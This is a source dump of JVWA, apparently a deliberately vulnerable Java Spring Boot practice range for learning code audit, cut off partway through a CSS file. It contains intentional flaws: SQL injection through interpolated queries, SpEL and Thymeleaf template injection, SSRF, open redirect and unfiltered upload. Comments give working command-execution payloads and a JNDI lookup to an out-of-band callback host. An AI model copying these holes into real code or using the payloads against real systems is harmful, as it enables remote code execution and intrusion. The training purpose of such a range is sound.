├── .gitignore ├── src ├── main │ ├── resources │ │ ├── application.properties │ │ ├── static │ │ │ ├── img │ │ │ │ ├── 3.gif │ │ │ │ ├── ffffffff0x-64.ico │ │ │ │ └── stephane-wootha-richard-february-01.jpg │ │ │ ├── css │ │ │ │ ├── error.css │ │ │ │ ├── meyer-reset │ │ │ │ │ └── 2.0 │ │ │ │ │ │ └── reset.min.css │ │ │ │ └── index.css │ │ │ └── js │ │ │ │ ├── error.js │ │ │ │ └── jquery │ │ │ │ └── 2.1.3 │ │ │ │ └── jquery.min.js │ │ ├── templates │ │ │ ├── ssti.html │ │ │ ├── user │ │ │ │ ├── li4 │ │ │ │ │ └── welcome.html │ │ │ │ └── zhang3 │ │ │ │ │ └── welcome.html │ │ │ ├── sstitest.html │ │ │ ├── aksk.html │ │ │ ├── error.html │ │ │ ├── upload.html │ │ │ └── index.html │ │ ├── log4j2.xml │ │ ├── mysql.sql │ │ ├── mapper.primary │ │ │ └── UserMapper.xml │ │ ├── mapper.secondary │ │ │ └── UserMapper.xml │ │ ├── postgresql.sql │ │ ├── banner.txt │ │ └── application-dev.properties │ └── java │ │ └── com │ │ └── ffffffff0x │ │ └── exploit │ │ ├── p │ │ ├── entity │ │ │ └── UserPrimary.java │ │ └── mapper │ │ │ └── UserMapperPrimary.java │ │ ├── s │ │ ├── entity │ │ │ └── UserSecondary.java │ │ └── mapper │ │ │ └── UserMapperSecondary.java │ │ ├── index.java │ │ ├── InfoLeak.java │ │ ├── ExploitApplication.java │ │ ├── config │ │ ├── DataSourceConfiguration.java │ │ ├── PrimaryConfig.java │ │ └── SecondaryConfig.java │ │ ├── IPInfo.java │ │ ├── SSTI.java │ │ ├── SpEL.java │ │ ├── SQLinj.java │ │ ├── Redirect.java │ │ ├── SSRF.java │ │ ├── util │ │ ├── Security.java │ │ └── Http.java │ │ └── Upload.java └── test │ └── java │ └── com │ └── ffffffff0x │ └── exploit │ └── ExploitApplicationTests.java ├── todo.md ├── README.md ├── pom.xml ├── mvnw.cmd ├── exploit.iml └── mvnw /.gitignore: -------------------------------------------------------------------------------- 1 | **/.DS_Store 2 | .idea 3 | /target 4 | HELP.md 5 | push.sh -------------------------------------------------------------------------------- /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.profiles.active=dev -------------------------------------------------------------------------------- /src/main/resources/static/img/3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ffffffff0x/JVWA/HEAD/src/main/resources/static/img/3.gif -------------------------------------------------------------------------------- /src/main/resources/static/img/ffffffff0x-64.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ffffffff0x/JVWA/HEAD/src/main/resources/static/img/ffffffff0x-64.ico -------------------------------------------------------------------------------- /src/main/resources/static/img/stephane-wootha-richard-february-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ffffffff0x/JVWA/HEAD/src/main/resources/static/img/stephane-wootha-richard-february-01.jpg -------------------------------------------------------------------------------- /todo.md: -------------------------------------------------------------------------------- 1 | # todo 2 | 3 | - [x] 文件上传 4 | - [x] ssrf 5 | - [ ] xss 6 | - [ ] rce 7 | - [x] ssti 8 | - [ ] xxe 9 | - [ ] 目录遍历 10 | - [ ] fastjson 11 | - [ ] jackson 12 | - [ ] XStream 13 | - [ ] shiro 14 | -------------------------------------------------------------------------------- /src/main/resources/templates/ssti.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

name1参数

5 |

name2参数

6 | 7 | -------------------------------------------------------------------------------- /src/test/java/com/ffffffff0x/exploit/ExploitApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import org.springframework.boot.test.context.SpringBootTest; 4 | 5 | @SpringBootTest 6 | class ExploitApplicationTests { 7 | 8 | 9 | } 10 | -------------------------------------------------------------------------------- /src/main/resources/templates/user/li4/welcome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

Hello li4

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /src/main/resources/templates/user/zhang3/welcome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

Hello zhang3

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /src/main/resources/templates/sstitest.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ssti 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/p/entity/UserPrimary.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.p.entity; 2 | 3 | import lombok.Data; 4 | import lombok.NoArgsConstructor; 5 | 6 | @Data 7 | @NoArgsConstructor 8 | public class UserPrimary { 9 | 10 | private Long id; 11 | 12 | private String name; 13 | private Integer age; 14 | 15 | public UserPrimary(String name, Integer age) { 16 | this.name = name; 17 | this.age = age; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/s/entity/UserSecondary.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.s.entity; 2 | 3 | import lombok.Data; 4 | import lombok.NoArgsConstructor; 5 | 6 | @Data 7 | @NoArgsConstructor 8 | public class UserSecondary { 9 | private Long id; 10 | 11 | private String name; 12 | private Integer age; 13 | 14 | public UserSecondary(String name, Integer age) { 15 | this.name = name; 16 | this.age = age; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/resources/templates/aksk.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 一些 测试的假 aksk 数据 4 |

5 | SecretId : AKIDf9NL2Rxx1LNxxqmSr0sxxoZ3XXXGNDxx 6 |
7 | SecretKey : GI3XkgMlsiIabLxxvZw3sxxhQx6XXXxx 8 |
9 | AccessKey ID : LTAI5XLxTxxxxdcTXXExxxxx 10 |
11 | AccessKey Secret : RhXXXXjrCh3xxxLmFCRxx0HBZSxxxx 12 |
13 | AWS Access Key ID: AKIAUXXXXXFYXNIXXXXX 14 |
15 | AWS Secret Access Key: x/Wigo+RW4xExxx1LgXXXX6pHxOkssEuxpW1xxxx 16 |

17 | -------------------------------------------------------------------------------- /src/main/resources/mysql.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS test default charset utf8 COLLATE utf8_general_ci; 2 | use test; 3 | 4 | CREATE TABLE `user_info` 5 | ( 6 | `id` int(11) unsigned NOT NULL AUTO_INCREMENT, 7 | `name` varchar(50) NOT NULL, 8 | `age` int(11) NOT NULL, 9 | PRIMARY KEY (`id`) 10 | ); 11 | 12 | INSERT INTO `user_info` values (1, '张三', '11'); 13 | INSERT INTO `user_info` values (2, '李四', '12'); 14 | INSERT INTO `user_info` values (3, '王五', '13'); 15 | INSERT INTO `user_info` values (4, '我是老六', '666'); -------------------------------------------------------------------------------- /src/main/resources/static/css/error.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #111111; 3 | } 4 | 5 | .board { 6 | position: absolute; 7 | top: 50%; 8 | left: 50%; 9 | height: 150px; 10 | width: 500px; 11 | margin: -75px 0 0 -250px; 12 | padding: 20px; 13 | font: 75px/75px Monoton, cursive; 14 | text-align: center; 15 | text-transform: uppercase; 16 | text-shadow: 0 0 80px red, 0 0 30px FireBrick, 0 0 6px DarkRed; 17 | color: red; 18 | } 19 | 20 | #error { 21 | color: #fff; 22 | text-shadow: 0 0 80px #ffffff, 0 0 30px #008000, 0 0 6px #0000ff; 23 | } -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/index.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.ui.ModelMap; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | 7 | @Controller 8 | public class index { 9 | @GetMapping("/") 10 | public String index(ModelMap map) { 11 | // 加入一个属性，用来在模板中读取 12 | // map.addAttribute("host", "https://home.ffffffff0x.com"); 13 | 14 | // return模板文件的名称，对应src/main/resources/templates/index.html 15 | return "index"; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/main/resources/templates/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ERROR 6 | 7 | 8 | 9 | 10 | 11 |
12 |

13 | error 14 |

15 |

16 | f0x 17 |

18 |
19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/InfoLeak.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | import javax.servlet.http.HttpServletRequest; 11 | 12 | @Api(tags = "信息泄露") 13 | @Controller 14 | @Slf4j 15 | public class InfoLeak { 16 | /* 17 | 信息泄露 18 | */ 19 | @GetMapping("/infoleak/aksk") 20 | public String akskPage() { 21 | return "aksk"; 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/resources/mapper.primary/UserMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 11 | 12 | 15 | 16 | 17 | INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age}) 18 | 19 | 20 | -------------------------------------------------------------------------------- /src/main/resources/mapper.secondary/UserMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 11 | 12 | 15 | 16 | 17 | INSERT INTO user_info(NAME, AGE) VALUES(#{name}, #{age}) 18 | 19 | 20 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/ExploitApplication.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import com.spring4all.swagger.EnableSwagger2Doc; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.boot.SpringApplication; 6 | import org.springframework.boot.autoconfigure.SpringBootApplication; 7 | 8 | @Slf4j 9 | @EnableSwagger2Doc 10 | @SpringBootApplication 11 | public class ExploitApplication { 12 | 13 | public static void main(String[] args) { 14 | 15 | SpringApplication.run(ExploitApplication.class, args); 16 | 17 | log.error("Hello World"); 18 | log.warn("Hello World"); 19 | log.info("Hello World"); 20 | log.debug("Hello World"); 21 | log.trace("Hello World"); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/s/mapper/UserMapperSecondary.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.s.mapper; 2 | 3 | import com.ffffffff0x.exploit.p.entity.UserPrimary; 4 | import com.ffffffff0x.exploit.s.entity.UserSecondary; 5 | import org.apache.ibatis.annotations.*; 6 | 7 | import java.util.List; 8 | 9 | @Mapper 10 | public interface UserMapperSecondary { 11 | 12 | // 查询所有用户 13 | @Select("select * from user_info") 14 | List AllUser(); 15 | 16 | // 不安全的指定用户查询 17 | @Select("select * from user_info where id = ${id}") 18 | List findById(@Param("id") String id); 19 | 20 | // 添加用户 21 | @Insert("INSERT INTO user_info(NAME, AGE) VALUES(#{name}, #{age})") 22 | int insert(@Param("name") String name, @Param("age") Integer age); 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/resources/static/css/meyer-reset/2.0/reset.min.css: -------------------------------------------------------------------------------- 1 | html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none}table{border-collapse:collapse;border-spacing:0} -------------------------------------------------------------------------------- /src/main/resources/postgresql.sql: -------------------------------------------------------------------------------- 1 | -- ---------------------------- 2 | -- Table structure for user_info 3 | -- ---------------------------- 4 | DROP TABLE IF EXISTS "public"."user_info"; 5 | CREATE TABLE "public"."user_info" ( 6 | "id" int4, 7 | "name" varchar(255) COLLATE "pg_catalog"."default", 8 | "age" int4 9 | ) 10 | ; 11 | ALTER TABLE "public"."user_info" OWNER TO "postgres"; 12 | 13 | -- ---------------------------- 14 | -- Records of user_info 15 | -- ---------------------------- 16 | BEGIN; 17 | INSERT INTO "public"."user_info" ("id", "name", "age") VALUES (1, '张三', 11); 18 | INSERT INTO "public"."user_info" ("id", "name", "age") VALUES (2, '李四', 12); 19 | INSERT INTO "public"."user_info" ("id", "name", "age") VALUES (3, '王五', 13); 20 | INSERT INTO "public"."user_info" ("id", "name", "age") VALUES (4, '我是老六', 666); 21 | COMMIT; 22 | -------------------------------------------------------------------------------- /src/main/resources/banner.txt: -------------------------------------------------------------------------------- 1 | # ======================== !! NOTE !! ======================== 2 | # ________ ________ ________ ________ ________ ________ ________ ________ ________ ___ ___ 3 | # |\ _____\\ _____\\ _____\\ _____\\ _____\\ _____\\ _____\\ _____\\ __ \ |\ \ / /| 4 | # \ \ \__/\ \ \__/\ \ \__/\ \ \__/\ \ \__/\ \ \__/\ \ \__/\ \ \__/\ \ \|\ \ \ \ \/ / / 5 | # \ \ __\\ \ __\\ \ __\\ \ __\\ \ __\\ \ __\\ \ __\\ \ __\\ \ \\\ \ \ \ / / 6 | # \ \ \_| \ \ \_| \ \ \_| \ \ \_| \ \ \_| \ \ \_| \ \ \_| \ \ \_| \ \ \\\ \ / \/ 7 | # \ \__\ \ \__\ \ \__\ \ \__\ \ \__\ \ \__\ \ \__\ \ \__\ \ \_______\/ /\ \ 8 | # \|__| \|__| \|__| \|__| \|__| \|__| \|__| \|__| \|_______/__/ /\ __\ 9 | # |__|/ \|__| -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/p/mapper/UserMapperPrimary.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.p.mapper; 2 | 3 | import com.ffffffff0x.exploit.p.entity.UserPrimary; 4 | import org.apache.ibatis.annotations.Insert; 5 | import org.apache.ibatis.annotations.Mapper; 6 | import org.apache.ibatis.annotations.Param; 7 | import org.apache.ibatis.annotations.Select; 8 | 9 | import java.util.List; 10 | 11 | @Mapper 12 | public interface UserMapperPrimary { 13 | 14 | // 查询所有用户 15 | @Select("select * from user_info") 16 | List AllUser(); 17 | 18 | // 不安全的指定用户查询 19 | @Select("select * from user_info where id = ${id}") 20 | List findById(@Param("id") String id); 21 | 22 | // 添加用户 23 | @Insert("INSERT INTO user_info(NAME, AGE) VALUES(#{name}, #{age})") 24 | int insert(@Param("name") String name, @Param("age") Integer age); 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/config/DataSourceConfiguration.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.config; 2 | 3 | import org.springframework.boot.context.properties.ConfigurationProperties; 4 | import org.springframework.boot.jdbc.DataSourceBuilder; 5 | import org.springframework.context.annotation.Bean; 6 | import org.springframework.context.annotation.Configuration; 7 | import org.springframework.context.annotation.Primary; 8 | 9 | import javax.sql.DataSource; 10 | 11 | @Configuration 12 | public class DataSourceConfiguration { 13 | 14 | @Primary 15 | @Bean 16 | @ConfigurationProperties(prefix = "spring.datasource.druid.primary") 17 | public DataSource primaryDataSource() { 18 | return DataSourceBuilder.create().build(); 19 | } 20 | 21 | @Bean 22 | @ConfigurationProperties(prefix = "spring.datasource.druid.secondary") 23 | public DataSource secondaryDataSource() { 24 | return DataSourceBuilder.create().build(); 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /src/main/resources/templates/upload.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 文件上传页面 6 | 7 | 8 |

无过滤上传点

9 |
10 | 选择要上传的excel文件：
11 |
12 | 13 |
14 | 15 |
16 | 17 |

黑名单过滤上传点

18 |
19 | 选择要上传的excel文件：
20 |
21 | 22 |
23 | 24 |
25 | 26 |

白名单过滤上传点

27 |
28 | 选择要上传的excel文件：
29 |
30 | 31 |
32 | 33 |
34 | 35 |

安全上传点

36 |
37 | 选择要上传的excel文件：
38 |
39 | 40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/config/PrimaryConfig.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.config; 2 | 3 | import org.apache.ibatis.session.SqlSessionFactory; 4 | import org.mybatis.spring.SqlSessionFactoryBean; 5 | import org.mybatis.spring.SqlSessionTemplate; 6 | import org.mybatis.spring.annotation.MapperScan; 7 | import org.springframework.beans.factory.annotation.Qualifier; 8 | import org.springframework.context.annotation.Bean; 9 | import org.springframework.context.annotation.Configuration; 10 | 11 | import javax.sql.DataSource; 12 | 13 | @Configuration 14 | @MapperScan( 15 | basePackages = "com.ffffffff0x.exploit.p", 16 | sqlSessionFactoryRef = "sqlSessionFactoryPrimary", 17 | sqlSessionTemplateRef = "sqlSessionTemplatePrimary") 18 | public class PrimaryConfig { 19 | 20 | private DataSource primaryDataSource; 21 | 22 | public PrimaryConfig(@Qualifier("primaryDataSource") DataSource primaryDataSource) { 23 | this.primaryDataSource = primaryDataSource; 24 | } 25 | 26 | @Bean 27 | public SqlSessionFactory sqlSessionFactoryPrimary() throws Exception { 28 | SqlSessionFactoryBean bean = new SqlSessionFactoryBean(); 29 | bean.setDataSource(primaryDataSource); 30 | return bean.getObject(); 31 | } 32 | 33 | @Bean 34 | public SqlSessionTemplate sqlSessionTemplatePrimary() throws Exception { 35 | return new SqlSessionTemplate(sqlSessionFactoryPrimary()); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/config/SecondaryConfig.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.config; 2 | 3 | import org.apache.ibatis.session.SqlSessionFactory; 4 | import org.mybatis.spring.SqlSessionFactoryBean; 5 | import org.mybatis.spring.SqlSessionTemplate; 6 | import org.mybatis.spring.annotation.MapperScan; 7 | import org.springframework.beans.factory.annotation.Qualifier; 8 | import org.springframework.context.annotation.Bean; 9 | import org.springframework.context.annotation.Configuration; 10 | 11 | import javax.sql.DataSource; 12 | 13 | @Configuration 14 | @MapperScan( 15 | basePackages = "com.ffffffff0x.exploit.s", 16 | sqlSessionFactoryRef = "sqlSessionFactorySecondary", 17 | sqlSessionTemplateRef = "sqlSessionTemplateSecondary") 18 | public class SecondaryConfig { 19 | 20 | private DataSource secondaryDataSource; 21 | 22 | public SecondaryConfig(@Qualifier("secondaryDataSource") DataSource secondaryDataSource) { 23 | this.secondaryDataSource = secondaryDataSource; 24 | } 25 | 26 | @Bean 27 | public SqlSessionFactory sqlSessionFactorySecondary() throws Exception { 28 | SqlSessionFactoryBean bean = new SqlSessionFactoryBean(); 29 | bean.setDataSource(secondaryDataSource); 30 | return bean.getObject(); 31 | } 32 | 33 | @Bean 34 | public SqlSessionTemplate sqlSessionTemplateSecondary() throws Exception { 35 | return new SqlSessionTemplate(sqlSessionFactorySecondary()); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/IPInfo.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.RestController; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | 10 | @Api(tags = "ipinfo") 11 | @RestController 12 | @RequestMapping("/ipinfo") 13 | public class IPInfo { 14 | /* 15 | * 没有使用代理的情况下，直接从 getRemoteAddr() 获取目标真实IP 16 | * 使用反向代理的情况下，由于在客户端和服务之间增加了中间层，因此服务器无法直接拿到客户端的 IP，这时取 X-Forwarded-For 中第一个IP得到的确实为客户端真实IP 17 | * 伪造添加xxf时，每个xxf在后面追加 18 | */ 19 | @GetMapping("/remote") 20 | public static String remote(HttpServletRequest request) { 21 | // 当使用 nginx 做反向代理时，通过 HttpServletRequest 的 getRemoteAddr() 得到的是最后一个代理所在机器的IP 22 | return request.getRemoteAddr(); 23 | } 24 | 25 | @GetMapping("/xxf") 26 | public static String xxf(HttpServletRequest request) { 27 | String ip1 = request.getHeader("X-Real-IP"); 28 | String ip2 = request.getHeader("X-Forwarded-For"); 29 | return "X-Real-IP: " + ip1 + " X-Forwarded-For: " + ip2; 30 | } 31 | 32 | // 获取真实ip 33 | @GetMapping("/realIp") 34 | public static String ip(HttpServletRequest request) { 35 | String ip1 = request.getRemoteAddr(); 36 | String ip2 = request.getHeader("X-Real-IP"); 37 | String ip3 = request.getHeader("X-Forwarded-For"); 38 | 39 | if (ip1 != null) { 40 | return ip1; 41 | } else if (ip2 != null) { 42 | return ip2; 43 | } else { 44 | return ip3; 45 | } 46 | 47 | } 48 | 49 | } 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JVWA 2 | 3 | java 代码审计学习靶场,边学边完善 4 | 5 | --- 6 | 7 | ## 目前支持 8 | 9 | - spring actuator (web 和 jmx 方式) 10 | - `http://127.0.0.1:8999/actuator` 11 | - `http://127.0.0.1:8999/actuator/env` 12 | - `http://127.0.0.1:8999/actuator/heapdump` 13 | - `http://127.0.0.1:8999/actuator/mappings` 14 | - `http://127.0.0.1:8999/actuator/prometheus` 15 | - swagger 16 | - `http://127.0.0.1:8999/swagger-resources` 17 | - `http://127.0.0.1:8999/swagger-ui.html` 18 | - `http://127.0.0.1:8999/v2/api-docs` 19 | - druid 20 | - `http://127.0.0.1:8999/druid/login.html` admin/admin 21 | - spel注入 22 | - `http://127.0.0.1:8999/spel?exec=1` 无过滤 23 | - mysql注入 24 | - `http://127.0.0.1:8999/sqlinj/mysql/getbyid/1` 无过滤 25 | - postgresql注入 26 | - `http://127.0.0.1:8999/sqlinj/postgre/getbyid/1` 无过滤 27 | - url跳转漏洞 28 | - `http://127.0.0.1:8999/redirect/1?url=` 无过滤 29 | - `http://127.0.0.1:8999/redirect/2?url=` 可以被绕过的白名单案例 30 | - `http://127.0.0.1:8999/redirect/3?url=` 反斜杠绕过 31 | - `http://127.0.0.1:8999/redirect/safe?url=` 安全案例 32 | - 文件上传 33 | - `http://127.0.0.1:8999/upload` 无过滤/黑名单过滤/白名单过滤/安全案例 34 | - ssrf 35 | - `http://127.0.0.1:8999/ssrf/1?url=` 无过滤 36 | - `http://127.0.0.1:8999/ssrf/2?url=` 重定向bypass 37 | - `http://127.0.0.1:8999/ssrf/safe?url=` 安全案例 38 | - ssti(Thymeleaf) 39 | - `http://127.0.0.1:8999/ssti/1?name=&name2=` return可控(预处理) 40 | - `http://127.0.0.1:8999/ssti/2?name=` 视图名称可控 41 | - log4j 42 | 43 | --- 44 | 45 | ## 部署方式 46 | 47 | todo 48 | 49 | --- 50 | 51 | ## 参考的项目 52 | 53 | - [j3ers3/Hello-Java-Sec](https://github.com/j3ers3/Hello-Java-Sec) 54 | - [javaweb-rasp/javaweb-vuln](https://github.com/javaweb-rasp/javaweb-vuln) 55 | - [LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit) 56 | - [JoyChou93/java-sec-code](https://github.com/JoyChou93/java-sec-code) 57 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/SSTI.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.ui.Model; 7 | import org.springframework.ui.ModelMap; 8 | import org.springframework.web.bind.annotation.GetMapping; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | import org.springframework.web.bind.annotation.RequestParam; 11 | 12 | @Api(tags = "SSTI注入") 13 | @Slf4j 14 | @Controller 15 | @RequestMapping("/ssti") 16 | public class SSTI { 17 | 18 | // 测试 19 | // http://127.0.0.1:8999/ssti/test?hello=f0x 20 | @GetMapping("/test") 21 | public String test(String hello, ModelMap map) { 22 | map.addAttribute("text", hello); 23 | return "sstitest"; 24 | } 25 | 26 | // return 可控(预处理) (记得把 payload url 编码一下) 27 | // http://127.0.0.1:8999/ssti/1?name=1&name2=1 28 | // 触发 http://127.0.0.1:8999/ssti/1?name=${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}&name2=1 29 | // 不触发 http://127.0.0.1:8999/ssti/1?name=1&name2=${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")} 30 | @GetMapping("/1") 31 | public String vul(@RequestParam(name="name") String name,@RequestParam(name="name2") String name2, Model model) { 32 | model.addAttribute("name", name); 33 | model.addAttribute("name2", name2); 34 | return "ssti"; 35 | } 36 | 37 | // 视图名称可控 38 | // http://127.0.0.1:8999/ssti/2?name=zhang3 39 | // http://127.0.0.1:8999/ssti/2?name=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x 40 | @GetMapping("/2") 41 | public String path(@RequestParam String name) { 42 | return "user/" + name + "/welcome"; //template path is tainted 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/SpEL.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.expression.EvaluationContext; 6 | import org.springframework.expression.ExpressionParser; 7 | import org.springframework.expression.spel.SpelParseException; 8 | import org.springframework.expression.spel.standard.SpelExpressionParser; 9 | import org.springframework.expression.spel.support.StandardEvaluationContext; 10 | import org.springframework.stereotype.Controller; 11 | import org.springframework.web.bind.annotation.GetMapping; 12 | import org.springframework.web.bind.annotation.RequestMapping; 13 | import org.springframework.web.bind.annotation.RestController; 14 | 15 | import java.net.MalformedURLException; 16 | import java.net.URL; 17 | 18 | @Api(tags = "SpEL注入") 19 | @Slf4j 20 | @Controller 21 | public class SpEL { 22 | 23 | // spel 注入 24 | // http://127.0.0.1:8999/spel?exec=1 25 | // http://127.0.0.1:8999/spel?exec=T(java.lang.Runtime).getRuntime().exec("open -a Calculator") 26 | // http://127.0.0.1:8999/spel?exec=${jndi:ldap://c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh} 27 | @GetMapping("/spel") 28 | public String vul1(String exec) { 29 | // 1. 创建解析器：SpEL使用ExpressionParser接口表示解析器，提供SpelExpressionParser默认实现 30 | ExpressionParser parser = new SpelExpressionParser(); 31 | // StandardEvaluationContext权限过大，可以执行任意代码 32 | EvaluationContext evaluationContext = new StandardEvaluationContext(); 33 | 34 | // 2. 解析表达式: 使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象 35 | // 3. 求值：通过 Expression 接口的 getValue 方法根据上下文获得表达式值 36 | 37 | String result = ""; 38 | try { 39 | result = parser.parseExpression(exec).getValue(evaluationContext).toString(); 40 | log.info(exec); 41 | return result; 42 | 43 | } catch (SpelParseException e) { 44 | log.error(exec); 45 | return "error"; 46 | } 47 | } 48 | 49 | } 50 | -------------------------------------------------------------------------------- /src/main/resources/static/css/index.css: -------------------------------------------------------------------------------- 1 | @import url("https://fonts.googleapis.com/css2?family=Fredoka+One&display=swap"); 2 | 3 | :root { 4 | --margins-default: 2.5rem; 5 | --color-text-disclaimer: #666; 6 | --color-text-main: #581121; 7 | --color-text-display: #e96b0b; 8 | 9 | --color-border: #cab593; 10 | 11 | --font-display: normal 3.7rem/1 "Fredoka One", sans-serif; 12 | 13 | --color-bg-1: #fff1dc; 14 | --color-bg-2: #db4c40; 15 | 16 | --border-radius: 6px; 17 | } 18 | 19 | *, 20 | *::before, 21 | *::after { 22 | box-sizing: border-box; 23 | } 24 | 25 | html { 26 | font: normal 10px/1.5 Arial, Helvetica, sans-serif; 27 | display: flex; 28 | align-items: center; 29 | justify-content: center; 30 | background-image: radial-gradient(#df3c20, #e68a26); 31 | } 32 | 33 | body { 34 | margin: 5rem 0; 35 | display: flex; 36 | flex-direction: column; 37 | background: #fff; 38 | width: 65rem; 39 | padding: 0 var(--margins-default) var(--margins-default); 40 | border-radius: var(--border-radius); 41 | box-shadow: 0 1rem 2rem rgba(0, 0, 0, 0.34); 42 | } 43 | 44 | h1 { 45 | margin: 2.3rem 0 0rem; 46 | color: var(--color-text-display); 47 | font: var(--font-display); 48 | } 49 | 50 | h2 { 51 | margin: 1rem 0 0; 52 | color: var(--color-text-display); 53 | font: var(--font-display); 54 | font-size: 2.8rem; 55 | } 56 | 57 | body > figure { 58 | margin: 0 calc(var(--margins-default) * -1); 59 | order: -1; 60 | } 61 | 62 | body > figure > img { 63 | height: 40rem; 64 | width: 100%; 65 | object-fit: cover; 66 | border-radius: var(--border-radius) var(--border-radius) 0 0; 67 | } 68 | 69 | figure { 70 | margin: 0; 71 | } 72 | 73 | figure > figcaption { 74 | display: none; 75 | } 76 | 77 | p, 78 | ul, 79 | ol { 80 | font-size: 2rem; 81 | } 82 | 83 | li:first-of-type, 84 | li:last-of-type { 85 | margin-top: 0; 86 | } 87 | 88 | li { 89 | margin: 1rem 0; 90 | line-height: 1.4; 91 | } 92 | 93 | li::marker { 